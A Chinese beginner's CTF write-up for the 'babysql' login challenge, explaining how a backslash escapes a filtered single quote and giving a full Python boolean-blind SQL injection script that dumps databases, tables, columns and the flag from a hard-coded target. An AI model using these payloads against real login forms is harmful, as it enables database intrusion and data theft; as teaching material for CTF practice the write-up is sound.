本專欄記錄一些比賽中遇到的基礎(chǔ)sql題目, 適合初學(xué)者閱讀
極客大挑戰(zhàn) babysql
進(jìn)去之后是個(gè)登錄框,

image.png
隨便輸入用戶密碼,提示用戶密碼錯(cuò)誤

image.png
嘗試萬(wàn)能密碼,發(fā)現(xiàn)單引號(hào)被過(guò)濾了

image.png
我們嘗試使用反斜杠去做這道題:

image.png

image.png
注入成功, 使用反斜杠的原理是利用其轉(zhuǎn)義作用, 這種方法一般用在閉合方式為單引號(hào), 且單引號(hào)被過(guò)濾的情況, 試想一下, 如果sql語(yǔ)句為:
select name, password from user where name='{a}' and password='';而a=admin\, 反斜杠是不是將后面的單引號(hào)轉(zhuǎn)義為普通字符單引號(hào), 原sql就剩下三個(gè)單引號(hào), 上式中
name="{a}' and password="
我們?cè)诹頱=or 2 > 1 #, #會(huì)將最后一個(gè)單引號(hào)注釋掉, 我們的代碼就會(huì)被執(zhí)行了。
原理說(shuō)清楚了, 下面開(kāi)始肝題吧, 這道題很明顯是要做bool盲注, 注入點(diǎn)找到了, 下面我直接上腳本:
import requests
from urllib import parse
s = requests.Session()
url = 'http://47.100.242.70:4339/index.php'
flag = ''
def exp(i, j):
#爆庫(kù)
payload = f"or (ascii(substr((SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA),{i},1))>{j})#"
#爆表
payload = f"or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='flag'),{i},1))>{j})#"
#爆字段
payload = f"or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='fllag'),{i},1))>{j})#"
#爆段內(nèi)容
payload = f"or (ascii(substr((select group_concat(fllllllag) from flag.fllag),{i},1))>{j})#"
#payload = f"or 2>1#"
#payload = parse.quote(payload)
data = {
"uname": "admin\\",
"pwd": payload
}
r = s.post(url, data=data)
if "your uname:admin and your pwd:123456" in r.text:
return True
else:
return False
for i in range(1, 5000):
low = 32
high = 127
while (low <= high):
mid = (low + high)//2
if (exp(i, mid)):
low = mid + 1
else:
high = mid - 1
flag += chr((low+high+1)//2)
print("flag: ", flag)
按照步驟運(yùn)行一遍就行了。